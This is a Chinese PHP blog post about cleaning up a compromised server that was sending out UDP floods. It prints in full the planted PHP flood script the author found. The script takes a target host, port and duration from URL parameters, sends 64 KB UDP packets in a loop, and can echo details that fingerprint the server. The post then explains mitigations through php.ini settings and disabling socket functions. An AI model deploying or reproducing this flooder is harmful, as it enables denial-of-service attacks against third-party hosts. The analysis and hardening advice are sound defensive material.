php的ddos攻击解决方法


Posted in PHP onJanuary 08, 2015

本文实例讲述了php的ddos攻击解决方法。分享给大家供大家参考。具体分析如下:

今天自己的一台机器突然向外部发送大量数据包,可每秒到1G以上,虽然我用策略把UDP禁止包是发不出去但是很占cup啊,所以想到最后还是想办法解决了.

先看源码,代码如下:

<?php 

set_time_limit(999999); 

$host = $_GET['host']; 

$port = $_GET['port']; 

$exec_time = $_GET['time']; 

$Sendlen = 65535; 

$packets = 0; 

ignore_user_abort(True); 

 

if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){ 

        if (StrLen($_GET['rat'])<>0){ 

                echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; 

                exit; 

            } 

        echo "Parameters can not be empty!"; 

        exit; 

    } 

 

for($i=0;$i<$Sendlen;$i++){ 

        $out .= "A"; 

    } 

 

$max_time = time()+$exec_time; 

 

while(1){ 

    $packets++; 

    if(time() > $max_time){ 

        break; 

    } 

    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5); 

        if($fp){ 

            fwrite($fp, $out); 

            fclose($fp); 

    } 

} 

 

echo "Send Host:$host:$port<br><br>"; 

echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>"; 

echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s"; 

?>

关键代码在于如下:
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);

方法很简单,向目标主机发送UDP包,在加上定义无限死循环,就会形成较大的压力.

这个压力是对于执行这个脚本的服务器来说的,因为它首先对自身的网宽、CPU等资源造成大量占用,如果想用这个脚本对目标站点形成压力,需要在多个服务器上执行该脚本,DDOS嘛,既然是用fsockopen请求外部,那就不让他请求.

php.ini里设置,代码如下:

allow_url_fopen = Off

如果这样他还是能发包,代码如下:

extension=php_sockets.dll

改成

;extension=php_sockets.dll

重启APACHE、IIS、NGINX,这样就可以防止PHP DDOS发包了.

另外有网友说,让脚本不允许设置为不超时很简单:

1. 把set_time_limit函数禁用

2. 启用PHP的安全模式(safe_mode=on).

禁用socket函数可以把把socket模块直接全部禁用也可以禁用fsockopen函数,建议,由于socket常用于发送邮件找回密码,因此建议开启直接开启安全模式,但是这样的话,脚本每30秒超时一次,估计没有哪个“黑客”寂寞到每30秒去点一下开始DDOS.

经验:这种问题一般是网站安全引起的,我们要注意网站的安全及服务器的安全,这样就不容易被入侵了,如果会用macofee的朋友,对网站进行限制一下就会更好一些.

希望本文所述对大家的php程序设计有所帮助。

PHP 相关文章推荐
PHP实现采集程序原理和简单示例代码
Mar 18 PHP
PHP CLI模式下的多进程应用分析
Jun 03 PHP
解析PHP函数array_flip()在重复数组元素删除中的作用
Jun 27 PHP
PHP中spl_autoload_register函数的用法总结
Nov 07 PHP
浅析php适配器模式(Adapter)
Nov 25 PHP
php读取flash文件高宽帧数背景颜色的方法
Jan 06 PHP
php使用cookie保存登录用户名的方法
Jan 26 PHP
PHP多线程编程之管道通信实例分析
Mar 07 PHP
php统计数组元素个数的方法
Jul 02 PHP
PHP中Socket连接及读写数据超时问题分析
Jul 19 PHP
浅谈PHP发送HTTP请求的几种方式
Jul 25 PHP
Laravel框架执行原生SQL语句及使用paginate分页的方法
Aug 17 PHP
php的sso单点登录实现方法
Jan 08 #PHP
PHP制作万年历
Jan 07 #PHP
CI框架中通过hook的方式实现简单的权限控制
Jan 07 #PHP
CI框架中site_url()和base_url()的区别
Jan 07 #PHP
给ECShop添加最新评论
Jan 07 #PHP
php程序总是提示验证码输入有误解决方案
Jan 07 #PHP
WampServer下安装多个版本的PHP、mysql、apache图文教程
Jan 07 #PHP
You might like
php下实现一个阿拉伯数字转中文数字的函数
2008/07/10 PHP
解析php5配置使用pdo
2013/07/03 PHP
初识Laravel
2014/10/30 PHP
php实现遍历目录并删除指定文件中指定内容
2015/01/21 PHP
JavaScript打字小游戏代码
2011/12/26 Javascript
js中substring和substr两者区别和使用方法
2015/11/09 Javascript
基于JS分页控件实现简单美观仿淘宝分页按钮效果
2016/11/07 Javascript
浅谈Javascript事件对象
2017/02/05 Javascript
Angular2自定义分页组件
2017/04/19 Javascript
JavaScript之json_动力节点Java学院整理
2017/06/29 Javascript
深入理解React Native原生模块与JS模块通信的几种方式
2017/07/24 Javascript
JS实现按钮颜色切换效果
2020/09/05 Javascript
async/await地狱该如何避免详解
2018/05/10 Javascript
小程序组件之仿微信通讯录的实现代码
2018/09/12 Javascript
JS拖拽排序插件Sortable.js用法实例分析
2019/02/20 Javascript
Python 实现在文件中的每一行添加一个逗号
2018/04/29 Python
使用python判断你是青少年还是老年人
2018/11/29 Python
Django发送邮件功能实例详解
2019/09/02 Python
使用pyshp包进行shapefile文件修改的例子
2019/12/06 Python
python 安装库几种方法之cmd,anaconda,pycharm详解
2020/04/08 Python
调整Jupyter notebook的启动目录操作
2020/04/10 Python
在python中使用pyspark读写Hive数据操作
2020/06/06 Python
印尼太阳百货公司网站:Matahari
2018/02/04 全球购物
应届生法律顾问求职信
2013/11/19 职场文书
高中校园广播稿
2014/01/11 职场文书
校园安全广播稿
2014/02/08 职场文书
《玩具柜台前的孩子》教学反思
2014/02/13 职场文书
合作协议书范文
2014/08/20 职场文书
少先队活动总结
2014/08/29 职场文书
售房委托书
2014/08/30 职场文书
教师批评与自我批评范文
2014/10/15 职场文书
公司员工安全协议书
2014/11/21 职场文书
《小蝌蚪找妈妈》教学反思
2016/02/23 职场文书
导游词之凤凰古城
2019/10/22 职场文书
微信小程序中使用vant框架的具体步骤
2022/02/18 Javascript
带你了解Java中的ForkJoin
2022/04/28 Java/Android